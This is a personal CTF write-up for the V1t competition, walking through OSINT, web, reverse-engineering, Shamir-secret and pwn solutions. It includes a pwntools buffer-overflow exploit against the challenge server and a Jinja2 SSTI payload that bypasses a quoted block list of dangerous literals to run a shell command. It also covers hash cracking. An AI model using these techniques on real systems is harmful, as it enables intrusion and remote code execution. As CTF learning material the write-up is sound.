This year i decided to participate in more CTFs, the first one is the V1t CTF, this is my writeup The website was down, seems like too many people were trying at the same time lol

Photo of the V1T website showing a 502 Error

the hosters were students from vietnam, they were very nice about it

Among USniversity

Once it was kinda online again i started the OSINT ones as it was the thing i was best at Description of Among USniversity challenge

This was the image i was provided with:

I reverse image searched the image and found it was Ho Chi Minh City University of Information Technology - HCMUT(Based btw) that means the flag is v1t{UIT}

Nice 100 more points

Duck Company

This was the input:

Again the solution was a simple reverse image search, this led me to www.dcuk.com so the flag is: v1t{dcuk.com}

Another solved one(For some reason said already solved):

Snowflake

the input was: my first instict was to see the metadata but there was nothing, i then saw the numbers on the pole in the photo, i found out it was somewhere in Hokkaido, Japan, possibly Sapporo, Asahikawa, or similar. i wasnt able to solve this

The Forgotten Inventory

This is an interesting one, so i googled "CSV" "military equipment" "2007" "Operation Iraqi Freedom" and found this on the wikileaks website:

...
From: "Hoskins, David J CW2 MIL USA FORSCOM" [email protected]>  
...                                   

and we have the email: [email protected] so the flag should be v1t{[email protected]} Another one solved(Again said already solved, no idea why):

Login Panel

So i go to the url: https://tommytheduck.github.io/login and i inspect element and i see this code:

async function toHex(buffer) {
  const bytes = new Uint8Array(buffer);
  let hex = '';
  for (let i = 0; i < bytes.length; i++) {
    hex += bytes[i].toString(16).padStart(2, '0');
  }
  return hex;
}

async function sha256Hex(str) {
  const enc = new TextEncoder();
  const data = enc.encode(str);
  const digest = await crypto.subtle.digest('SHA-256', data);
  return toHex(digest);
}

function timingSafeEqualHex(a, b) {
  if (a.length !== b.length) return false;
  let diff = 0;
  for (let i = 0; i < a.length; i++) {
    diff |= a.charCodeAt(i) ^ b.charCodeAt(i);
  }
  return diff === 0;
}

(async () => {
  const ajnsdjkamsf = 'ba773c013e5c07e8831bdb2f1cee06f349ea1da550ef4766f5e7f7ec842d836e'; // replace
  const lanfffiewnu = '48d2a5bbcf422ccd1b69e2a82fb90bafb52384953e77e304bef856084be052b6'; // replace

  const username = prompt('Enter username:');
  const password = prompt('Enter password:');

  if (username === null || password === null) {
    alert('Missing username or password');
    return;
  }

  const uHash = await sha256Hex(username);
  const pHash = await sha256Hex(password);

  if (timingSafeEqualHex(uHash, ajnsdjkamsf) && timingSafeEqualHex(pHash, lanfffiewnu)) {
    alert(username + '{' + password + '}');
  } else {
    alert('Invalid credentials');
  }
})();

and i quickly see:

  const ajnsdjkamsf = 'ba773c013e5c07e8831bdb2f1cee06f349ea1da550ef4766f5e7f7ec842d836e'; // replace
  const lanfffiewnu = '48d2a5bbcf422ccd1b69e2a82fb90bafb52384953e77e304bef856084be052b6'; // replace

which seems to be username and password, i quickly opened hashcat and cracked them, this is the output | Hash | Result | |----------------------------------------------------------------------|----------| | ba773c013e5c07e8831bdb2f1cee06f349ea1da550ef4766f5e7f7ec842d836e | v1t | | 48d2a5bbcf422ccd1b69e2a82fb90bafb52384953e77e304bef856084be052b6 | p4ssw0rd |

so the flag is v1t{p4ssw0rd} and another one solved

Stylish Flag

so same thing i go to the url and i see this: i check the html:

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <title>Stylish Flag</title>
  <link rel="stylesheet" href="csss.css">
</head>

<body>
  <h1>where is the flag ;-;</h1>
  <br>
  <div hidden class="flag"></div>
</body>

</html>

and nothing, but i see a stylesheet, should be there and i see this:

    .flag {
        width: 8px;
        height: 8px;
        background: #0f0;
        transform: rotate(180deg);
        opacity: 0.05;
        box-shadow:
            264px 0px #0f0,
            1200px 0px #0f0,
			...
            1192px 64px #0f0,
            1200px 64px #0f0;
    }
  • It was hidden: The div had the hidden attribute in the HTML.

  • It was invisible: The CSS set opacity: 0.05, making it 95% transparent.

  • It was upside down: The transform: rotate(180deg) rule flipped the entire thing.

Time to pop open the F12 Developer Tools and reverse these tricks.

  1. First, I went to the Elements panel, found the <div hidden class="flag"></div>, and just deleted the hidden attribute.

  2. The element was there now, but still invisible. So, I clicked on it and went to the Styles panel.

  3. I found the .flag style rule and unticked the box for transform: rotate(180deg). This flipped it right-side up.

  4. Finally, I clicked on opacity: 0.05 and just changed the 0.05 to 1. then i saw this: which is V1T{H1D30UT_CSS} but i spent 5 minutes trying difference combinations

Another one down:

Tiny Flag

I opened the website and didnt find much, thank god firefox has big favicons, i noticed that it looks like this: and the flag is: V1T{T1NY_ICO}

another one down:

Mark The Lyrics

I looked at the HTML and noticed the <mark> elements inside the html

  1. Verse 1: <mark>V</mark>erse <mark>1</mark>: Sơn Tùng M-<mark>T</mark>P -> V1T

  2. Pre-Chorus: <mark>{</mark>Pre-Chorus: Sơn Tùng M-TP} -> {

  3. Chorus: {Chorus: RPT <mark>MCK</mark>, Sơn Tùng M-TP} -> MCK

  4. Verse 2: pap<mark>-pap-</mark>pap-pap and Nháy mắt <mark>cool</mark> cool -> -pap-cool

  5. Chorus: Ooh<mark>-ooh-</mark>ooh-ooh and Yeah, <mark>yeah</mark>, yeah -> -ooh-yeah

  6. Outro: {Outro: Sơn Tùng M-TP, RPT MCK, RPT TC<mark>}</mark>} -> } the flag is: V1T{MCK-pap-cool-ooh-yeah}

And another one down:

Now to the reverse engineering ones, i opened my favourite CIA backdoor: Ghidra

Snail Delivery

The flag is the content of the dynamically allocated buffer local_40.

1. Identifying the Validation Check

The core logic lies in the final while loop, which performs an XOR-based validation against a hardcoded ciphertext:

while (true) {
    sVar3 = strlen((char *)(local_178 + 0x30));
    if (sVar3 <= local_30) break;
    if (((int)(char)local_178[local_30 + 0x30] ^ (uint)local_178[local_30 % 6 + 0x27]) !=
        (uint)local_178[local_30]) {
        local_24 = 0;
        break;
    }
    local_30 = local_30 + 1;
}

This logic means:

Input[i] XOR Key2[i mod 6] = Ciphertext[i]

To find the required input, we reverse it:

Input[i] = Ciphertext[i] XOR Key2[i mod 6]

2. Extracting the Ciphertext and Validation Key (Key2)

The Ciphertext is the hardcoded array local_178[0] to local_178[0x26] (39 bytes total):
Index0x000x010x020x030x250x26
Value0x650x740x0c0xd10x380x00

The Validation Key (Key2) is a 6-byte rotating key at local_178[0x27] to local_178[0x2c]:
Index0x270x280x290x2a0x2b0x2c
Value0x120x450x780xab0xcd0xef

3. Decrypting the Required Input

We perform the XOR operation for all 39 bytes to find the exact input required to pass the check.

4. Identifying the Flag Generation Logic

If the input is correct, the code generates the flag in the local_40 buffer:

for (local_20 = 0; local_20 < local_38; local_20 = local_20 + 1) {
    *(byte *)(local_20 + (long)local_40) =
        local_178[local_20 + 0x30] ^ local_178[local_20 % 3 + 0x2d];
}

This second XOR operation defines the final flag:

Flag[i] = Input[i] XOR Key1[i mod 3]

Determining the Flag Key (Key1)

The 3-byte Flag Key (Key1) is defined by the variable local_c after the “snail” animation loop:

local_c = 1;
for (local_10 = 0; local_10 < 0x10; local_10 = local_10 + 1) {
    local_c = local_c << 1;
}
// After 16 iterations: local_c = 1 * 2^16 = 0x10000
local_178[0x2d] = (byte)(local_c >> 0x10); // 0x01
local_178[0x2e] = (byte)(local_c >> 8);    // 0x00
local_178[0x2f] = (byte)local_c;           // 0x00

So the Flag Key is:

Key1 = [0x01, 0x00, 0x00]

5. Final Flag Calculation

Finally, we XOR the input with the 3-byte rotating key Key1.

This means characters at positions 0, 3, 6, 9, … are XORed with 0x01.

Python code:

# Keys and Ciphertext
ciphertext_bytes = [0x65, 0x74, 0x0c, 0xd1, 0xbe, 0x81, 0x27, 0x2c, 0x14, 0xf5,
                    0xa9, 0xdc, 0x7f, 0x74, 0x0e, 0x99, 0xbf, 0x96, 0x4c, 0x36,
                    0x14, 0x9a, 0xba, 0xb0, 0x27, 0x23, 0x27, 0x99, 0xfb, 0xdb,
                    0x21, 0x75, 0x4f, 0x9c, 0xff, 0x8e, 0x71, 0x38, 0x00]
key_2 = [0x12, 0x45, 0x78, 0xab, 0xcd, 0xef]
key_1 = [0x01, 0x00, 0x00]

# Step 1: Find the required Input
input_bytes = [ciphertext_bytes[i] ^ key_2[i % 6] for i in range(len(ciphertext_bytes))]
# Required Input (for reference): w1tzsn5i2f7c0vP=yR!g=A4f2f;W&j-7u-8x

# Step 2: Calculate the Flag
flag_bytes = [input_bytes[i] ^ key_1[i % 3] for i in range(len(input_bytes))]
flag = bytes(flag_bytes).decode('latin-1')

print("The Flag is:", flag)

Output:

The Flag is: v1t{sn4il_d3l1v3ry_sl0w_4f_36420762ab}

Final Flag: v1t{sn4il_d3l1v3ry_sl0w_4f_36420762ab}

Optimus

This challenge builds the flag by extracting characters from the string "0ov13tc{9zxpdr6na13m6a73534th5a}" using prime-numbered indices.

Code Overview

The decompiled function main() starts by storing the challenge string and then counts how many indices in it are prime. This count determines the expected flag length.

local_28 = "0ov13tc{9zxpdr6na13m6a73534th5a}";
sVar2 = strlen(local_28);
local_c = 0;
for (local_10 = 0; local_10 < sVar2; local_10++) {
    if (is_prime(local_10)) {
        local_c++;
    }
}

Once the number of prime indices is known, the program prompts the user to input a flag and removes any trailing newline or carriage return characters.

printf("Input flag: ");
fgets(local_138, 0x100, stdin);
while (local_18 != 0 && (local_138[local_18 - 1] == '\n' || local_138[local_18 - 1] == '\r')) {
    local_138[local_18 - 1] = '\0';
    local_18 = strlen(local_138);
}

Flag Validation Logic

The code then checks two things:

  1. The input length equals the number of prime indices.
  2. Each character matches the corresponding character from the original string at each prime position.
if (local_c == strlen(local_138)) {
    local_1c = 0;
    for (local_20 = 0; local_20 < sVar2; local_20++) {
        if (is_prime(local_20)) {
            if (local_138[local_1c] != local_28[local_20]) {
                puts("WRONG FLAG");
                return 1;
            }
            local_1c++;
        }
    }
    puts("FLAG OK QUACK");
} else {
    puts("WRONG FLAG");
}

Prime Index Extraction

The string length is 32 characters (indices 0–31). Prime indices within that range:

2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31

Extracting these characters:
IndexCharacter
2v
31
5t
7{
11p
13r
171
19m
233
295
31}

Recreating the Logic in Python

To verify the result, we can replicate the logic in a short Python script:

def is_prime(n):
    return n > 1 and all(n % i for i in range(2, int(n**0.5) + 1))

s = "0ov13tc{9zxpdr6na13m6a73534th5a}"
flag = ''.join(s[i] for i in range(len(s)) if is_prime(i))
print(flag)

Output:

v1t{pr1m35}

Final Flag: v1t{pr1m35} and another one down:

Bad Reverser

I opened the binary in Ghidra and tracked the input/VM flow. The program expects an 11-byte flag and validates it via a tiny VM that executes a 41-byte bytecode blob which is XOR-obfuscated by a single-byte key derived from the input.

High-level behavior

  • Reads up to 0x80 bytes into a buffer and strips the trailing newline.

  • Requires strlen(input) == 0xb (11 bytes).

  • Compares the first 4 bytes of input (as a little-endian 32-bit value) to 0x7b743176. Interpreting that constant as ASCII gives the prefix v1t{ (i.e. the flag begins with v1t{).

  • Anti-debug/timing checks:

    • Calls ptrace(PTRACE_TRACEME).
    • Records clock_gettime, spins a tight loop, records clock_gettime again and rejects if the measured interval is too large.
    • Installs a signal handler (signal(5, FUN_00101540)).
  • Calls b = FUN_00101550(&buf, 0xf9) — this returns a single byte derived from the input (used as a dynamic key).

  • Builds the VM bytecode buffer local_118 by XORing the static data blob DAT_00102040 with a transformed b:

    for (i = 0; i != 0x29; i++)
        local_118[i] = DAT_00102040[i] ^ b ^ 0xa3 ^ 0xaa;
    
  • Executes a small VM over local_118 (41 bytes). The VM supports operations such as push, conditional compare, xor-with-FUN_00101550(...,0x5a), etc. If the VM runs to completion with the expected checks satisfied, the program prints Correct quack!.

Relevant code excerpts

Input and checks (clearly shows the prefix check and length check):

pcVar5 = fgets((char *)&local_98, 0x80, stdin);
if (pcVar5 == NULL) goto wrong;
sVar6 = strcspn((char *)&local_98, "\n");
((char *)&local_98)[sVar6] = 0;
if (strlen((char *)&local_98) != 0xb) goto wrong;
if (local_98 != 0x7b743176) goto wrong;   // little-endian comparison -> 'v','1','t','{'

Anti-debug / timing / signal handler:

*piVar7 = 0;
lVar9 = ptrace(PTRACE_TRACEME,0,0,0);
if ((lVar9 == -1) && (*piVar7 != 0)) goto wrong;
clock_gettime(1, local_118);
local_124 = 0;
do local_124++; while (local_124 < 500000);
clock_gettime(1, &local_e8);
if (500000000 < ((local_e8.tv_sec - local_118[0].tv_sec) * 1000000000 + local_e8.tv_nsec) - local_118[0].tv_nsec)
    goto wrong;
signal(5, FUN_00101540);

Bytecode construction:

bVar3 = FUN_00101550(&local_98, 0xf9);
for (lVar9 = 0; lVar9 != 0x29; lVar9++) {
    ((byte *)&local_118[0].tv_sec)[lVar9] = (&DAT_00102040)[lVar9] ^ bVar3 ^ 0xa3 ^ 0xaa;
}

Portions of the VM loop (showing push/compare/xor semantics):

do {
    cVar2 = *(char *)((long)&local_118[0].tv_sec + lVar9);   // current opcode
    if (cVar2 == '\x01') { /* ... */ }                     // maybe noop/terminate check
    else if (cVar2 == '\x02') {
        if (0 < local_a8) {
            iVar4 = local_a8 - 1;
            bVar3 = FUN_00101550(&local_98, 0x5a);        // produces a mask 'k'
            puVar1 = (uint *)((long)&local_e8.tv_sec + (long)iVar4 * 4);
            *puVar1 = *puVar1 ^ (uint)bVar3;              // xor top-of-stack with k
        }
    }
    else if (cVar2 == '\x03') {
        if ((uVar10 != 0x29) && (0 < local_a8)) {
            local_a8--;
            if ((int)*(char *)((long)&local_98 + (ulong)*(byte *)((long)&local_118[0].tv_sec + (long)(int)uVar10) + 3)
                == (uint)*(byte *)((long)&local_e8.tv_sec + (long)local_a8 * 4))
                goto continue_loop;
        }
    }
    else if (cVar2 == -1) {
        if (DAT_0010406c == 0) {
            puts("Correct quack!");
            return 0;
        }
    }
    /* ... bytecode push: read immediate byte and push it onto stack ... */
} while (true);
  • The VM stores 32-bit values on a small stack (local_e8 region).
  • The \x03 opcode performs a comparison between an input byte (offset by 3) and the stack top (after any XORs).
  • Execution falls back to a failure path labeled LAB_00101316 when checks/timing fail.
  • The 41-byte data blob DAT_00102040 is static in the binary. The VM bytecode local_118 is just that blob XORed with a single-byte key = b ^ 0xa3 ^ 0xaa, where b is returned by FUN_00101550(&buf, 0xf9) (dependent on the provided input).
  • The VM itself contains deterministic push/compare/xor operations that translate to explicit equality constraints on specific flag bytes (mostly: flag[pos] == constant ^ k after accounting for the produced XOR mask k from FUN_00101550(...,0x5a)).
  • Therefore, once you recover DAT_00102040 and determine b (or try all 256 possibilities), you can decrypt the VM, parse the instruction stream, and derive exact values for the remaining flag bytes.

exploitation steps

  1. Dump the static data DAT_00102040 (41 bytes) from the binary with rabin2 -s, objdump -s, r2, or a hex editor.

  2. Recover or brute-force the single byte b returned by FUN_00101550(&buf, 0xf9):

    • Either call the function under GDB/pwntools/ctypes to get b for your input, or brute force b from 0..255 and check which yields a consistent, parseable VM and consistent flag bytes.
  3. Compute key = b ^ 0xa3 ^ 0xaa.

  4. Decode the bytecode: local_118[i] = DAT_00102040[i] ^ key for i in 0..0x28.

  5. Parse the decoded bytecode to recover the immediate values pushed to the VM stack and the order of compare operations. Identify the XOR mask k = FUN_00101550(...,0x5a) used by opcode 0x02.

  6. From each compare opcode, read the comparison index into the input and the expected value on the stack; compute corresponding flag bytes as flag[pos] = X ^ k (or the appropriate expression derived from the VM).

  7. Verify the full 11-byte result by running the binary and supplying it; success prints Correct quack!.

Decoding

I dumped the static blob and used a small script to try values of b. For the dumped DAT_00102040:

dat = [
0x04,0xd1,0x07,0x06,0x05,0x04,0xc7,0x07,0x06,0x04,0x04,0xd3,0x07,0x06,0x07,0x04,
0xf5,0x07,0x06,0x06,0x04,0xc8,0x07,0x06,0x01,0x04,0x9e,0x07,0x06,0x00,0x04,0xee,
0x07,0x06,0x03,0x04,0xd7,0x07,0x06,0x02,0xfa
]

I found:

  • b = 0x0c
  • key = b ^ 0xa3 ^ 0xaa = 0x05
  • The VM's k (from FUN_00101550(...,0x5a)) was observed to be 0xaf in my environment.

Decoding:

local = [x ^ key for x in dat]         # the VM bytecode
X = [local[i+1] for i in range(0, 40, 5)]  # second byte of each 5-byte block are the pushed immediates
# build flag (first 4 bytes are 'v','1','t','{')
flag_bytes = [ord('v'), ord('1'), ord('t'), ord('{')]
for x in X:
    flag_bytes.append(x ^ k)
flag = bytes(flag_bytes[:11])
print(flag.decode())

This yields:

v1t{my_b4D}

So the final flag I obtained is: v1t{my_b4D}.

Shamir's Duck

I downloaded the file and it contained:

Bob-ef73fe834623128e6f43cc923927b33350314b0d08eeb386
Sang-2c17367ded0cd22e15220a2b2a6cede16e2ed64d1898bbad
Khoi-e05fd9646ff27414510dec2e46032469cd60d632606c8181
Long-0c4de736ced3f8412307729b8bea56cc6dc74abce06a0373
Dung-afe15ff509b15eb48b0e9d72fc2285094f6233ec98914312
Steve-cb1a439f208aa76e89236cb496abaf20723191c188e23f54

🔹 Step 1 – Extract the shares

Each participant’s hex string is a share value y_i. The x-values are implicit and go from 1 to 6:

s = [
  "ef73fe834623128e6f43cc923927b33350314b0d08eeb386",
  "2c17367ded0cd22e15220a2b2a6cede16e2ed64d1898bbad",
  "e05fd9646ff27414510dec2e46032469cd60d632606c8181",
  "0c4de736ced3f8412307729b8bea56cc6dc74abce06a0373",
  "afe15ff509b15eb48b0e9d72fc2285094f6233ec98914312",
  "cb1a439f208aa76e89236cb496abaf20723191c188e23f54"
]
y = [int(x, 16) for x in s]

🔹 Step 2 – Interpolate with 3 shares

We’re using a threshold of k = 3, so only three shares are needed to reconstruct the secret.

The Lagrange interpolation formula gives the secret (the polynomial evaluated at x = 0). If we use shares #1, #3, and #4, the coefficients simplify to:

f(0) = 2*y1 - 2*y3 + y4

So in Python:

f = 2*y[0] - 2*y[2] + y[3]

🔹 Step 3 – Recover bytes & decode

Now convert f(0) to bytes and interpret it as UTF-8 text:

b = f.to_bytes((f.bit_length() + 7) // 8, 'big')
print(b.decode('utf-8', 'ignore'))

Full code:

s = [
  "ef73fe834623128e6f43cc923927b33350314b0d08eeb386",
  "2c17367ded0cd22e15220a2b2a6cede16e2ed64d1898bbad",
  "e05fd9646ff27414510dec2e46032469cd60d632606c8181",
  "0c4de736ced3f8412307729b8bea56cc6dc74abce06a0373",
  "afe15ff509b15eb48b0e9d72fc2285094f6233ec98914312",
  "cb1a439f208aa76e89236cb496abaf20723191c188e23f54"
]

y = [int(x, 16) for x in s]
f = 2*y[0] - 2*y[2] + y[3]  # use shares 1, 3, 4

b = f.to_bytes((f.bit_length() + 7)//8 or 1, 'big')
t = b.decode('utf-8', 'ignore')

i, j = t.find('{'), t.find('}')
print((t[i-1:j+1] if i > 0 and j > i else t).strip())

The flag is:

v1t{555_s3cr3t_sh4r1ng}

And another one bites the dust!

Lost Some Binary

This gave me this input:

01001000 01101001 01101001 01101001 00100000 ......

it was obviously binary data, so i quickly converted it to text using python

import re
def b2t(b: str) -> str:
	return "".join(chr(int(c, 2)) for c in re.findall(r'[01]{8}', b.strip()))
b = "01001000 01101001 01101001 01101001 00100000 01101101 01100001 01101110 00101100 01101000 01101111 01110111 00100000 01110010 00100000 01110101 00100000 00111111 01001001 01110011 00100000 01101001 01110100 00100000 00111010 00101001 00101001 00101001 00101001 01010010 01100001 01110111 01110010 00101101 01011110 01011110 01011011 01011101 00100000 00100000 01001100 01010011 01000010 01111011 00111110 00111100 01111101 00100001 01001100 01010011 01000010 01111110 01111110 01001100 01010011 01000010 01111110 01111110 00101101 00101101 00101101 01110110 00110001 01110100 00100000 00100000 01111011 00110001 00110013 00110101 00111001 00110000 00110000 01011111 00110001 00110011 00110011 00110111 00110000 01111101"
print(b2t(b))

The output was:

Hiii man,how r u ?Is it :))))Rawr-^^[]  LSB{><}!LSB~~LSB~~---v1t  {15900_13370}

and weve got another flag: v1t{15900_13370} (For some reason didnt work tho...)

Waddler

Connecting to chall.v1t.site accepts any string then prints The Ducks are coming! i decompiled the provided binary:

undefined8 main(void) {
  char local_48 [64];
  
  puts("The Ducks are coming!");
  fgets(local_48,0x50,stdin);
  return 0;
}

then i found the duck function


void duck(void) {
  char *pcVar1;
  undefined8 uStack_120;
  char local_118 [256];
  size_t local_18;
  FILE *local_10;
  
  uStack_120 = 0x4012b4;
  local_10 = fopen("flag.txt","r");
  if (local_10 == (FILE *)0x0) {
    uStack_120 = 0x4012ce;
    puts("flag file not found");
    uStack_120 = 0x4012d8;
    FUN_00401140(1);
  }
  uStack_120 = 0x4012f0;
  pcVar1 = fgets(local_118,0x100,local_10);
  if (pcVar1 == (char *)0x0) {
    uStack_120 = 0x401304;
    puts("failed to read flag");
    uStack_120 = 0x401310;
    fclose(local_10);
    uStack_120 = 0x40131a;
    FUN_00401140(1);
  }
  uStack_120 = 0x401326;
  fclose(local_10);
  uStack_120 = 0x401335;
  local_18 = strlen(local_118);
  if ((local_18 != 0) && (local_118[local_18 - 1] == '\n')) {
    local_118[local_18 - 1] = '\0';
  }
  uStack_120 = 0x401382;
  printf("FLAG: %s\n",local_118);
  return;
}

i found it starts at 0040128c so just a binary overflow via fgets(local_48,0x50)

from pwn import *

conn = remote("chall.v1t.site", 30210)
offset = 64
DUCK_ADDR = 0x40128c

payload = b"A"*offset + b"B"*8 + p64(DUCK_ADDR)
conn.sendline(payload)
print(conn.recvall(timeout=2).decode())
conn.close()

and this outputs:

[+] Opening connection to chall.v1t.site on port 30210: Done
The Ducks are coming!
[+] Receiving all data: Done (58B)
[*] Closed connection to chall.v1t.site port 30210
FLAG: v1t{w4ddl3r_3x1t5_4e4d6c332b6fe62a63afe56171fd3725}

and weve got another flag: v1t{w4ddl3r_3x1t5_4e4d6c332b6fe62a63afe56171fd3725}

and another one down:

But im writing this one at 12am, so im gonna sleep and continue tmrw I finished day 1 at 161th place with 720 points, im p proud

Day 2

Discord

It was day 2 i wanted to start with something easier, i noticed that the channels in the discord had these: which when copied look like this:

:v0::v1::v1::v1::v0::v1::v1::v0::v0::v0::v1::v1::v0::v0::v0::v1::v0::v1::v1::v1::v0::v1::v0::v0::v0::v1::v1::v1::v1::v0::v1::v1::v0::v1::v1::v0::v0::v1::v0::v0:

so i got all of them: announcements:

:v0::v1::v1::v1::v0::v1::v1::v0::v0::v0::v1::v1::v0::v0::v0::v1::v0::v1::v1::v1::v0::v1::v0::v0::v0::v1::v1::v1::v1::v0::v1::v1::v0::v1::v1::v0::v0::v1::v0::v0:

updates:

:v0::v0::v1::v1::v0::v0::v0::v1::v0::v0::v1::v1::v0::v1::v0::v1::v0::v0::v1::v1::v0::v1::v0::v1::v0::v1::v1::v0::v0::v0::v1::v1:

ticket:

:v0::v0::v1::v1::v0::v0::v0::v0::v0::v1::v1::v1::v0::v0::v1::v0::v0::v1::v1::v0::v0::v1::v0::v0::v0::v1::v1::v1::v1::v1::v0::v1:

and finally i merged them together

:v0::v1::v1::v1::v0::v1::v1::v0::v0::v0::v1::v1::v0::v0::v0::v1::v0::v1::v1::v1::v0::v1::v0::v0::v0::v1::v1::v1::v1::v0::v1::v1::v0::v1::v1::v0::v0::v1::v0::v0::v0::v0::v1::v1::v0::v0::v0::v1::v0::v0::v1::v1::v0::v1::v0::v1::v0::v0::v1::v1::v0::v1::v0::v1::v0::v1::v1::v0::v0::v0::v1::v1::v0::v0::v1::v1::v0::v0::v0::v0::v0::v1::v1::v1::v0::v0::v1::v0::v0::v1::v1::v0::v0::v1::v0::v0::v0::v1::v1::v1::v1::v1::v0::v1:

and converted it to text using this

def v_sequence_to_string(v_sequence):
    # Replace :v0: with 0 and :v1: with 1
    binary_str = v_sequence.replace(":v0:", "0").replace(":v1:", "1")
    
    # Remove any non-binary characters (like extra colons)
    binary_str = ''.join(c for c in binary_str if c in "01")
    
    # Split into 8-bit chunks and convert to ASCII
    result = ''.join(chr(int(binary_str[i:i+8], 2)) 
                     for i in range(0, len(binary_str) - len(binary_str)%8, 8))
    
    return result

v_sequence = ":v0::v1::v1::v1::v0::v1::v1::v0::v0::v0::v1::v1::v0::v0::v0::v1::v0::v1::v1::v1::v0::v1::v0::v0::v0::v1::v1::v1::v1::v0::v1::v1::v0::v1::v1::v0::v0::v1::v0::v0::v0::v0::v1::v1::v0::v0::v0::v1::v0::v0::v1::v1::v0::v1::v0::v1::v0::v0::v1::v1::v0::v1::v0::v1::v0::v1::v1::v0::v0::v0::v1::v1::v0::v0::v1::v1::v0::v0::v0::v0::v0::v1::v1::v1::v0::v0::v1::v0::v0::v1::v1::v0::v0::v1::v0::v0::v0::v1::v1::v1::v1::v1::v0::v1:"
decoded_string = v_sequence_to_string(v_sequence)
print(decoded_string)

output:

v1t{d155c0rd}

and we have another flag

5571

This challenge was down, so I contacted the organizers to fix it:

I saw this in the HTML:

<!--
    Remember to block potentially dangerous literals in the backend!
    BLOCKED_LITERALS = [
      '{', '}', '__', 'open', 'os', 'subprocess', 'import', 'eval', 'exec',
      'system', 'popen', 'builtins', 'globals', 'locals', 'getattr', 'setattr',
      'class', 'compile', 'inspect'
    ]
-->

Testing with %7B%7B 7*6 %7D%7D42 confirmed SSTI.
Accessing {{ config }} reveals the configuration, including the BLOCKED_LITERALS list.

Using string concatenation with config.BLOCKED_LITERALS, we can dynamically construct blocked strings without directly using them. For example:

  • config.BLOCKED_LITERALS[12] is "globals", so "__globals__" is built as "_" + "_" + config.BLOCKED_LITERALS[12] + "_" + "_".

  • config.BLOCKED_LITERALS[4] is "os", and config.BLOCKED_LITERALS[10] is "popen".

To read flag.txt, the following payload executes cat flag.txt:

{{ (lipsum|attr("_"~"_"~config.BLOCKED_LITERALS[12]~"_"~"_"))[config.BLOCKED_LITERALS[4]]|attr(config.BLOCKED_LITERALS[10])("cat flag.txt")|attr("read")() }}

This payload:

  1. Accesses lipsum.__globals__.

  2. Retrieves the os module.

  3. Calls os.popen("cat flag.txt").

  4. Reads the output with read().

So I encoded and rendered this:

%7B%7B%20%28lipsum%7Cattr%28%22_%22%7E%22_%22%7Econfig.BLOCKED_LITERALS%5B12%5D%7E%22_%22%7E%22_%22%29%29%5Bconfig.BLOCKED_LITERALS%5B4%5D%5D%7Cattr%28config.BLOCKED_LITERALS%5B10%5D%29%28%22cat%20flag.txt%22%29%7Cattr%28%22read%22%29%28%29%20%7D%7D

The flag is: v1t{n0th1ng_b34ts_url_ssti_9cfac8e6b8978e3f6037d9608fed7767}

Another challenge was down:

The end

i finished at 323rd place with 1450 points alt text

The CTF was alot of fun and im gonna try to do more CTFs this year. Expect more writeups.